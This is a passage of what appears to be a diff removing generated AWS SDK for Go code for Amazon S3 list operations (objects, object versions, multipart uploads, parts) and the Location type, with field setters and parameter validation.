MaxUploads *int64 `type:"integer"` - - // When a list is truncated, this element specifies the value that should be - // used for the key-marker request parameter in a subsequent request. - NextKeyMarker *string `type:"string"` - - // When a list is truncated, this element specifies the value that should be - // used for the upload-id-marker request parameter in a subsequent request. - NextUploadIdMarker *string `type:"string"` - - // When a prefix is provided in the request, this field contains the specified - // prefix. The result contains only keys starting with the specified prefix. - Prefix *string `type:"string"` - - // Upload ID after which listing began. - UploadIdMarker *string `type:"string"` - - Uploads []*MultipartUpload `locationName:"Upload" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s ListMultipartUploadsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListMultipartUploadsOutput) GoString() string { - return s.String() -} - -// SetBucket sets the Bucket field's value. -func (s *ListMultipartUploadsOutput) SetBucket(v string) *ListMultipartUploadsOutput { - s.Bucket = &v - return s -} - -func (s *ListMultipartUploadsOutput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCommonPrefixes sets the CommonPrefixes field's value. -func (s *ListMultipartUploadsOutput) SetCommonPrefixes(v []*CommonPrefix) *ListMultipartUploadsOutput { - s.CommonPrefixes = v - return s -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListMultipartUploadsOutput) SetDelimiter(v string) *ListMultipartUploadsOutput { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListMultipartUploadsOutput) SetEncodingType(v string) *ListMultipartUploadsOutput { - s.EncodingType = &v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListMultipartUploadsOutput) SetIsTruncated(v bool) *ListMultipartUploadsOutput { - s.IsTruncated = &v - return s -} - -// SetKeyMarker sets the KeyMarker field's value. -func (s *ListMultipartUploadsOutput) SetKeyMarker(v string) *ListMultipartUploadsOutput { - s.KeyMarker = &v - return s -} - -// SetMaxUploads sets the MaxUploads field's value. -func (s *ListMultipartUploadsOutput) SetMaxUploads(v int64) *ListMultipartUploadsOutput { - s.MaxUploads = &v - return s -} - -// SetNextKeyMarker sets the NextKeyMarker field's value. -func (s *ListMultipartUploadsOutput) SetNextKeyMarker(v string) *ListMultipartUploadsOutput { - s.NextKeyMarker = &v - return s -} - -// SetNextUploadIdMarker sets the NextUploadIdMarker field's value. -func (s *ListMultipartUploadsOutput) SetNextUploadIdMarker(v string) *ListMultipartUploadsOutput { - s.NextUploadIdMarker = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListMultipartUploadsOutput) SetPrefix(v string) *ListMultipartUploadsOutput { - s.Prefix = &v - return s -} - -// SetUploadIdMarker sets the UploadIdMarker field's value. -func (s *ListMultipartUploadsOutput) SetUploadIdMarker(v string) *ListMultipartUploadsOutput { - s.UploadIdMarker = &v - return s -} - -// SetUploads sets the Uploads field's value. -func (s *ListMultipartUploadsOutput) SetUploads(v []*MultipartUpload) *ListMultipartUploadsOutput { - s.Uploads = v - return s -} - -type ListObjectVersionsInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // A delimiter is a character you use to group keys. - Delimiter *string `location:"querystring" locationName:"delimiter" type:"string"` - - // Requests Amazon S3 to encode the object keys in the response and specifies - // the encoding method to use. An object key may contain any Unicode character; - // however, XML 1.0 parser cannot parse some characters, such as characters - // with an ASCII value from 0 to 10. For characters that are not supported in - // XML 1.0, you can add this parameter to request that Amazon S3 encode the - // keys in the response. - EncodingType *string `location:"querystring" locationName:"encoding-type" type:"string" enum:"EncodingType"` - - // Specifies the key to start with when listing objects in a bucket. - KeyMarker *string `location:"querystring" locationName:"key-marker" type:"string"` - - // Sets the maximum number of keys returned in the response. The response might - // contain fewer keys but will never contain more. - MaxKeys *int64 `location:"querystring" locationName:"max-keys" type:"integer"` - - // Limits the response to keys that begin with the specified prefix. - Prefix *string `location:"querystring" locationName:"prefix" type:"string"` - - // Specifies the object version you want to start listing from. - VersionIdMarker *string `location:"querystring" locationName:"version-id-marker" type:"string"` -} - -// String returns the string representation -func (s ListObjectVersionsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListObjectVersionsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListObjectVersionsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListObjectVersionsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListObjectVersionsInput) SetBucket(v string) *ListObjectVersionsInput { - s.Bucket = &v - return s -} - -func (s *ListObjectVersionsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListObjectVersionsInput) SetDelimiter(v string) *ListObjectVersionsInput { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListObjectVersionsInput) SetEncodingType(v string) *ListObjectVersionsInput { - s.EncodingType = &v - return s -} - -// SetKeyMarker sets the KeyMarker field's value. -func (s *ListObjectVersionsInput) SetKeyMarker(v string) *ListObjectVersionsInput { - s.KeyMarker = &v - return s -} - -// SetMaxKeys sets the MaxKeys field's value. -func (s *ListObjectVersionsInput) SetMaxKeys(v int64) *ListObjectVersionsInput { - s.MaxKeys = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListObjectVersionsInput) SetPrefix(v string) *ListObjectVersionsInput { - s.Prefix = &v - return s -} - -// SetVersionIdMarker sets the VersionIdMarker field's value. -func (s *ListObjectVersionsInput) SetVersionIdMarker(v string) *ListObjectVersionsInput { - s.VersionIdMarker = &v - return s -} - -type ListObjectVersionsOutput struct { - _ struct{} `type:"structure"` - - CommonPrefixes []*CommonPrefix `type:"list" flattened:"true"` - - DeleteMarkers []*DeleteMarkerEntry `locationName:"DeleteMarker" type:"list" flattened:"true"` - - Delimiter *string `type:"string"` - - // Encoding type used by Amazon S3 to encode object keys in the response. - EncodingType *string `type:"string" enum:"EncodingType"` - - // A flag that indicates whether or not Amazon S3 returned all of the results - // that satisfied the search criteria. If your results were truncated, you can - // make a follow-up paginated request using the NextKeyMarker and NextVersionIdMarker - // response parameters as a starting place in another request to return the - // rest of the results. - IsTruncated *bool `type:"boolean"` - - // Marks the last Key returned in a truncated response. - KeyMarker *string `type:"string"` - - MaxKeys *int64 `type:"integer"` - - Name *string `type:"string"` - - // Use this value for the key marker request parameter in a subsequent request. - NextKeyMarker *string `type:"string"` - - // Use this value for the next version id marker parameter in a subsequent request. - NextVersionIdMarker *string `type:"string"` - - Prefix *string `type:"string"` - - VersionIdMarker *string `type:"string"` - - Versions []*ObjectVersion `locationName:"Version" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s ListObjectVersionsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListObjectVersionsOutput) GoString() string { - return s.String() -} - -// SetCommonPrefixes sets the CommonPrefixes field's value. -func (s *ListObjectVersionsOutput) SetCommonPrefixes(v []*CommonPrefix) *ListObjectVersionsOutput { - s.CommonPrefixes = v - return s -} - -// SetDeleteMarkers sets the DeleteMarkers field's value. -func (s *ListObjectVersionsOutput) SetDeleteMarkers(v []*DeleteMarkerEntry) *ListObjectVersionsOutput { - s.DeleteMarkers = v - return s -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListObjectVersionsOutput) SetDelimiter(v string) *ListObjectVersionsOutput { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListObjectVersionsOutput) SetEncodingType(v string) *ListObjectVersionsOutput { - s.EncodingType = &v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListObjectVersionsOutput) SetIsTruncated(v bool) *ListObjectVersionsOutput { - s.IsTruncated = &v - return s -} - -// SetKeyMarker sets the KeyMarker field's value. -func (s *ListObjectVersionsOutput) SetKeyMarker(v string) *ListObjectVersionsOutput { - s.KeyMarker = &v - return s -} - -// SetMaxKeys sets the MaxKeys field's value. -func (s *ListObjectVersionsOutput) SetMaxKeys(v int64) *ListObjectVersionsOutput { - s.MaxKeys = &v - return s -} - -// SetName sets the Name field's value. -func (s *ListObjectVersionsOutput) SetName(v string) *ListObjectVersionsOutput { - s.Name = &v - return s -} - -// SetNextKeyMarker sets the NextKeyMarker field's value. -func (s *ListObjectVersionsOutput) SetNextKeyMarker(v string) *ListObjectVersionsOutput { - s.NextKeyMarker = &v - return s -} - -// SetNextVersionIdMarker sets the NextVersionIdMarker field's value. -func (s *ListObjectVersionsOutput) SetNextVersionIdMarker(v string) *ListObjectVersionsOutput { - s.NextVersionIdMarker = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListObjectVersionsOutput) SetPrefix(v string) *ListObjectVersionsOutput { - s.Prefix = &v - return s -} - -// SetVersionIdMarker sets the VersionIdMarker field's value. -func (s *ListObjectVersionsOutput) SetVersionIdMarker(v string) *ListObjectVersionsOutput { - s.VersionIdMarker = &v - return s -} - -// SetVersions sets the Versions field's value. -func (s *ListObjectVersionsOutput) SetVersions(v []*ObjectVersion) *ListObjectVersionsOutput { - s.Versions = v - return s -} - -type ListObjectsInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // A delimiter is a character you use to group keys. - Delimiter *string `location:"querystring" locationName:"delimiter" type:"string"` - - // Requests Amazon S3 to encode the object keys in the response and specifies - // the encoding method to use. An object key may contain any Unicode character; - // however, XML 1.0 parser cannot parse some characters, such as characters - // with an ASCII value from 0 to 10. For characters that are not supported in - // XML 1.0, you can add this parameter to request that Amazon S3 encode the - // keys in the response. - EncodingType *string `location:"querystring" locationName:"encoding-type" type:"string" enum:"EncodingType"` - - // Specifies the key to start with when listing objects in a bucket. - Marker *string `location:"querystring" locationName:"marker" type:"string"` - - // Sets the maximum number of keys returned in the response. The response might - // contain fewer keys but will never contain more. - MaxKeys *int64 `location:"querystring" locationName:"max-keys" type:"integer"` - - // Limits the response to keys that begin with the specified prefix. - Prefix *string `location:"querystring" locationName:"prefix" type:"string"` - - // Confirms that the requester knows that she or he will be charged for the - // list objects request. Bucket owners need not specify this parameter in their - // requests. - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` -} - -// String returns the string representation -func (s ListObjectsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListObjectsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListObjectsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListObjectsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListObjectsInput) SetBucket(v string) *ListObjectsInput { - s.Bucket = &v - return s -} - -func (s *ListObjectsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListObjectsInput) SetDelimiter(v string) *ListObjectsInput { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListObjectsInput) SetEncodingType(v string) *ListObjectsInput { - s.EncodingType = &v - return s -} - -// SetMarker sets the Marker field's value. -func (s *ListObjectsInput) SetMarker(v string) *ListObjectsInput { - s.Marker = &v - return s -} - -// SetMaxKeys sets the MaxKeys field's value. -func (s *ListObjectsInput) SetMaxKeys(v int64) *ListObjectsInput { - s.MaxKeys = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListObjectsInput) SetPrefix(v string) *ListObjectsInput { - s.Prefix = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *ListObjectsInput) SetRequestPayer(v string) *ListObjectsInput { - s.RequestPayer = &v - return s -} - -type ListObjectsOutput struct { - _ struct{} `type:"structure"` - - CommonPrefixes []*CommonPrefix `type:"list" flattened:"true"` - - Contents []*Object `type:"list" flattened:"true"` - - Delimiter *string `type:"string"` - - // Encoding type used by Amazon S3 to encode object keys in the response. - EncodingType *string `type:"string" enum:"EncodingType"` - - // A flag that indicates whether or not Amazon S3 returned all of the results - // that satisfied the search criteria. - IsTruncated *bool `type:"boolean"` - - Marker *string `type:"string"` - - MaxKeys *int64 `type:"integer"` - - Name *string `type:"string"` - - // When response is truncated (the IsTruncated element value in the response - // is true), you can use the key name in this field as marker in the subsequent - // request to get next set of objects. Amazon S3 lists objects in alphabetical - // order Note: This element is returned only if you have delimiter request parameter - // specified. If response does not include the NextMaker and it is truncated, - // you can use the value of the last Key in the response as the marker in the - // subsequent request to get the next set of object keys. - NextMarker *string `type:"string"` - - Prefix *string `type:"string"` -} - -// String returns the string representation -func (s ListObjectsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListObjectsOutput) GoString() string { - return s.String() -} - -// SetCommonPrefixes sets the CommonPrefixes field's value. -func (s *ListObjectsOutput) SetCommonPrefixes(v []*CommonPrefix) *ListObjectsOutput { - s.CommonPrefixes = v - return s -} - -// SetContents sets the Contents field's value. -func (s *ListObjectsOutput) SetContents(v []*Object) *ListObjectsOutput { - s.Contents = v - return s -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListObjectsOutput) SetDelimiter(v string) *ListObjectsOutput { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListObjectsOutput) SetEncodingType(v string) *ListObjectsOutput { - s.EncodingType = &v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListObjectsOutput) SetIsTruncated(v bool) *ListObjectsOutput { - s.IsTruncated = &v - return s -} - -// SetMarker sets the Marker field's value. -func (s *ListObjectsOutput) SetMarker(v string) *ListObjectsOutput { - s.Marker = &v - return s -} - -// SetMaxKeys sets the MaxKeys field's value. -func (s *ListObjectsOutput) SetMaxKeys(v int64) *ListObjectsOutput { - s.MaxKeys = &v - return s -} - -// SetName sets the Name field's value. -func (s *ListObjectsOutput) SetName(v string) *ListObjectsOutput { - s.Name = &v - return s -} - -// SetNextMarker sets the NextMarker field's value. -func (s *ListObjectsOutput) SetNextMarker(v string) *ListObjectsOutput { - s.NextMarker = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListObjectsOutput) SetPrefix(v string) *ListObjectsOutput { - s.Prefix = &v - return s -} - -type ListObjectsV2Input struct { - _ struct{} `type:"structure"` - - // Name of the bucket to list. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // ContinuationToken indicates Amazon S3 that the list is being continued on - // this bucket with a token. ContinuationToken is obfuscated and is not a real - // key - ContinuationToken *string `location:"querystring" locationName:"continuation-token" type:"string"` - - // A delimiter is a character you use to group keys. - Delimiter *string `location:"querystring" locationName:"delimiter" type:"string"` - - // Encoding type used by Amazon S3 to encode object keys in the response. - EncodingType *string `location:"querystring" locationName:"encoding-type" type:"string" enum:"EncodingType"` - - // The owner field is not present in listV2 by default, if you want to return - // owner field with each key in the result then set the fetch owner field to - // true - FetchOwner *bool `location:"querystring" locationName:"fetch-owner" type:"boolean"` - - // Sets the maximum number of keys returned in the response. The response might - // contain fewer keys but will never contain more. - MaxKeys *int64 `location:"querystring" locationName:"max-keys" type:"integer"` - - // Limits the response to keys that begin with the specified prefix. - Prefix *string `location:"querystring" locationName:"prefix" type:"string"` - - // Confirms that the requester knows that she or he will be charged for the - // list objects request in V2 style. Bucket owners need not specify this parameter - // in their requests. - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // StartAfter is where you want Amazon S3 to start listing from. Amazon S3 starts - // listing after this specified key. StartAfter can be any key in the bucket - StartAfter *string `location:"querystring" locationName:"start-after" type:"string"` -} - -// String returns the string representation -func (s ListObjectsV2Input) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListObjectsV2Input) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListObjectsV2Input) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListObjectsV2Input"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListObjectsV2Input) SetBucket(v string) *ListObjectsV2Input { - s.Bucket = &v - return s -} - -func (s *ListObjectsV2Input) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListObjectsV2Input) SetContinuationToken(v string) *ListObjectsV2Input { - s.ContinuationToken = &v - return s -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListObjectsV2Input) SetDelimiter(v string) *ListObjectsV2Input { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListObjectsV2Input) SetEncodingType(v string) *ListObjectsV2Input { - s.EncodingType = &v - return s -} - -// SetFetchOwner sets the FetchOwner field's value. -func (s *ListObjectsV2Input) SetFetchOwner(v bool) *ListObjectsV2Input { - s.FetchOwner = &v - return s -} - -// SetMaxKeys sets the MaxKeys field's value. -func (s *ListObjectsV2Input) SetMaxKeys(v int64) *ListObjectsV2Input { - s.MaxKeys = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListObjectsV2Input) SetPrefix(v string) *ListObjectsV2Input { - s.Prefix = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *ListObjectsV2Input) SetRequestPayer(v string) *ListObjectsV2Input { - s.RequestPayer = &v - return s -} - -// SetStartAfter sets the StartAfter field's value. -func (s *ListObjectsV2Input) SetStartAfter(v string) *ListObjectsV2Input { - s.StartAfter = &v - return s -} - -type ListObjectsV2Output struct { - _ struct{} `type:"structure"` - - // CommonPrefixes contains all (if there are any) keys between Prefix and the - // next occurrence of the string specified by delimiter - CommonPrefixes []*CommonPrefix `type:"list" flattened:"true"` - - // Metadata about each object returned. - Contents []*Object `type:"list" flattened:"true"` - - // ContinuationToken indicates Amazon S3 that the list is being continued on - // this bucket with a token. ContinuationToken is obfuscated and is not a real - // key - ContinuationToken *string `type:"string"` - - // A delimiter is a character you use to group keys. - Delimiter *string `type:"string"` - - // Encoding type used by Amazon S3 to encode object keys in the response. - EncodingType *string `type:"string" enum:"EncodingType"` - - // A flag that indicates whether or not Amazon S3 returned all of the results - // that satisfied the search criteria. - IsTruncated *bool `type:"boolean"` - - // KeyCount is the number of keys returned with this request. KeyCount will - // always be less than equals to MaxKeys field. Say you ask for 50 keys, your - // result will include less than equals 50 keys - KeyCount *int64 `type:"integer"` - - // Sets the maximum number of keys returned in the response. The response might - // contain fewer keys but will never contain more. - MaxKeys *int64 `type:"integer"` - - // Name of the bucket to list. - Name *string `type:"string"` - - // NextContinuationToken is sent when isTruncated is true which means there - // are more keys in the bucket that can be listed. The next list requests to - // Amazon S3 can be continued with this NextContinuationToken. NextContinuationToken - // is obfuscated and is not a real key - NextContinuationToken *string `type:"string"` - - // Limits the response to keys that begin with the specified prefix. - Prefix *string `type:"string"` - - // StartAfter is where you want Amazon S3 to start listing from. Amazon S3 starts - // listing after this specified key. StartAfter can be any key in the bucket - StartAfter *string `type:"string"` -} - -// String returns the string representation -func (s ListObjectsV2Output) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListObjectsV2Output) GoString() string { - return s.String() -} - -// SetCommonPrefixes sets the CommonPrefixes field's value. -func (s *ListObjectsV2Output) SetCommonPrefixes(v []*CommonPrefix) *ListObjectsV2Output { - s.CommonPrefixes = v - return s -} - -// SetContents sets the Contents field's value. -func (s *ListObjectsV2Output) SetContents(v []*Object) *ListObjectsV2Output { - s.Contents = v - return s -} - -// SetContinuationToken sets the ContinuationToken field's value. -func (s *ListObjectsV2Output) SetContinuationToken(v string) *ListObjectsV2Output { - s.ContinuationToken = &v - return s -} - -// SetDelimiter sets the Delimiter field's value. -func (s *ListObjectsV2Output) SetDelimiter(v string) *ListObjectsV2Output { - s.Delimiter = &v - return s -} - -// SetEncodingType sets the EncodingType field's value. -func (s *ListObjectsV2Output) SetEncodingType(v string) *ListObjectsV2Output { - s.EncodingType = &v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListObjectsV2Output) SetIsTruncated(v bool) *ListObjectsV2Output { - s.IsTruncated = &v - return s -} - -// SetKeyCount sets the KeyCount field's value. -func (s *ListObjectsV2Output) SetKeyCount(v int64) *ListObjectsV2Output { - s.KeyCount = &v - return s -} - -// SetMaxKeys sets the MaxKeys field's value. -func (s *ListObjectsV2Output) SetMaxKeys(v int64) *ListObjectsV2Output { - s.MaxKeys = &v - return s -} - -// SetName sets the Name field's value. -func (s *ListObjectsV2Output) SetName(v string) *ListObjectsV2Output { - s.Name = &v - return s -} - -// SetNextContinuationToken sets the NextContinuationToken field's value. -func (s *ListObjectsV2Output) SetNextContinuationToken(v string) *ListObjectsV2Output { - s.NextContinuationToken = &v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *ListObjectsV2Output) SetPrefix(v string) *ListObjectsV2Output { - s.Prefix = &v - return s -} - -// SetStartAfter sets the StartAfter field's value. -func (s *ListObjectsV2Output) SetStartAfter(v string) *ListObjectsV2Output { - s.StartAfter = &v - return s -} - -type ListPartsInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Sets the maximum number of parts to return. - MaxParts *int64 `location:"querystring" locationName:"max-parts" type:"integer"` - - // Specifies the part after which listing should begin. Only parts with higher - // part numbers will be listed. - PartNumberMarker *int64 `location:"querystring" locationName:"part-number-marker" type:"integer"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Upload ID identifying the multipart upload whose parts are being listed. - // - // UploadId is a required field - UploadId *string `location:"querystring" locationName:"uploadId" type:"string" required:"true"` -} - -// String returns the string representation -func (s ListPartsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListPartsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ListPartsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ListPartsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.UploadId == nil { - invalidParams.Add(request.NewErrParamRequired("UploadId")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *ListPartsInput) SetBucket(v string) *ListPartsInput { - s.Bucket = &v - return s -} - -func (s *ListPartsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *ListPartsInput) SetKey(v string) *ListPartsInput { - s.Key = &v - return s -} - -// SetMaxParts sets the MaxParts field's value. -func (s *ListPartsInput) SetMaxParts(v int64) *ListPartsInput { - s.MaxParts = &v - return s -} - -// SetPartNumberMarker sets the PartNumberMarker field's value. -func (s *ListPartsInput) SetPartNumberMarker(v int64) *ListPartsInput { - s.PartNumberMarker = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *ListPartsInput) SetRequestPayer(v string) *ListPartsInput { - s.RequestPayer = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *ListPartsInput) SetUploadId(v string) *ListPartsInput { - s.UploadId = &v - return s -} - -type ListPartsOutput struct { - _ struct{} `type:"structure"` - - // Date when multipart upload will become eligible for abort operation by lifecycle. - AbortDate *time.Time `location:"header" locationName:"x-amz-abort-date" type:"timestamp"` - - // Id of the lifecycle rule that makes a multipart upload eligible for abort - // operation. - AbortRuleId *string `location:"header" locationName:"x-amz-abort-rule-id" type:"string"` - - // Name of the bucket to which the multipart upload was initiated. - Bucket *string `type:"string"` - - // Identifies who initiated the multipart upload. - Initiator *Initiator `type:"structure"` - - // Indicates whether the returned list of parts is truncated. - IsTruncated *bool `type:"boolean"` - - // Object key for which the multipart upload was initiated. - Key *string `min:"1" type:"string"` - - // Maximum number of parts that were allowed in the response. - MaxParts *int64 `type:"integer"` - - // When a list is truncated, this element specifies the last part in the list, - // as well as the value to use for the part-number-marker request parameter - // in a subsequent request. - NextPartNumberMarker *int64 `type:"integer"` - - Owner *Owner `type:"structure"` - - // Part number after which listing begins. - PartNumberMarker *int64 `type:"integer"` - - Parts []*Part `locationName:"Part" type:"list" flattened:"true"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // The class of storage used to store the object. - StorageClass *string `type:"string" enum:"StorageClass"` - - // Upload ID identifying the multipart upload whose parts are being listed. - UploadId *string `type:"string"` -} - -// String returns the string representation -func (s ListPartsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ListPartsOutput) GoString() string { - return s.String() -} - -// SetAbortDate sets the AbortDate field's value. -func (s *ListPartsOutput) SetAbortDate(v time.Time) *ListPartsOutput { - s.AbortDate = &v - return s -} - -// SetAbortRuleId sets the AbortRuleId field's value. -func (s *ListPartsOutput) SetAbortRuleId(v string) *ListPartsOutput { - s.AbortRuleId = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *ListPartsOutput) SetBucket(v string) *ListPartsOutput { - s.Bucket = &v - return s -} - -func (s *ListPartsOutput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetInitiator sets the Initiator field's value. -func (s *ListPartsOutput) SetInitiator(v *Initiator) *ListPartsOutput { - s.Initiator = v - return s -} - -// SetIsTruncated sets the IsTruncated field's value. -func (s *ListPartsOutput) SetIsTruncated(v bool) *ListPartsOutput { - s.IsTruncated = &v - return s -} - -// SetKey sets the Key field's value. -func (s *ListPartsOutput) SetKey(v string) *ListPartsOutput { - s.Key = &v - return s -} - -// SetMaxParts sets the MaxParts field's value. -func (s *ListPartsOutput) SetMaxParts(v int64) *ListPartsOutput { - s.MaxParts = &v - return s -} - -// SetNextPartNumberMarker sets the NextPartNumberMarker field's value. -func (s *ListPartsOutput) SetNextPartNumberMarker(v int64) *ListPartsOutput { - s.NextPartNumberMarker = &v - return s -} - -// SetOwner sets the Owner field's value. -func (s *ListPartsOutput) SetOwner(v *Owner) *ListPartsOutput { - s.Owner = v - return s -} - -// SetPartNumberMarker sets the PartNumberMarker field's value. -func (s *ListPartsOutput) SetPartNumberMarker(v int64) *ListPartsOutput { - s.PartNumberMarker = &v - return s -} - -// SetParts sets the Parts field's value. -func (s *ListPartsOutput) SetParts(v []*Part) *ListPartsOutput { - s.Parts = v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *ListPartsOutput) SetRequestCharged(v string) *ListPartsOutput { - s.RequestCharged = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *ListPartsOutput) SetStorageClass(v string) *ListPartsOutput { - s.StorageClass = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *ListPartsOutput) SetUploadId(v string) *ListPartsOutput { - s.UploadId = &v - return s -} - -// Describes an S3 location that will receive the results of the restore request. -type Location struct { - _ struct{} `type:"structure"` - - // A list of grants that control access to the staged results. - AccessControlList []*Grant `locationNameList:"Grant" type:"list"` - - // The name of the bucket where the restore results will be placed. - // - // BucketName is a required field - BucketName *string `type:"string" required:"true"` - - // The canned ACL to apply to the restore results. - CannedACL *string `type:"string" enum:"ObjectCannedACL"` - - // Describes the server-side encryption that will be applied to the restore - // results. - Encryption *Encryption `type:"structure"` - - // The prefix that is prepended to the restore results for this request. - // - // Prefix is a required field - Prefix *string `type:"string" required:"true"` - - // The class of storage used to store the restore results. - StorageClass *string `type:"string" enum:"StorageClass"` - - // The tag-set that is applied to the restore results. - Tagging *Tagging `type:"structure"` - - // A list of metadata to store with the restore results in S3. - UserMetadata []*MetadataEntry `locationNameList:"MetadataEntry" type:"list"` -} - -// String returns the string representation -func (s Location) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Location) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Location) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Location"} - if s.BucketName == nil { - invalidParams.Add(request.NewErrParamRequired("BucketName")) - } - if s.Prefix == nil { - invalidParams.Add(request.NewErrParamRequired("Prefix")) - } - if s.AccessControlList != nil { - for i, v := range s.AccessControlList { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "AccessControlList", i), err.(request.ErrInvalidParams)) - } - } - } - if 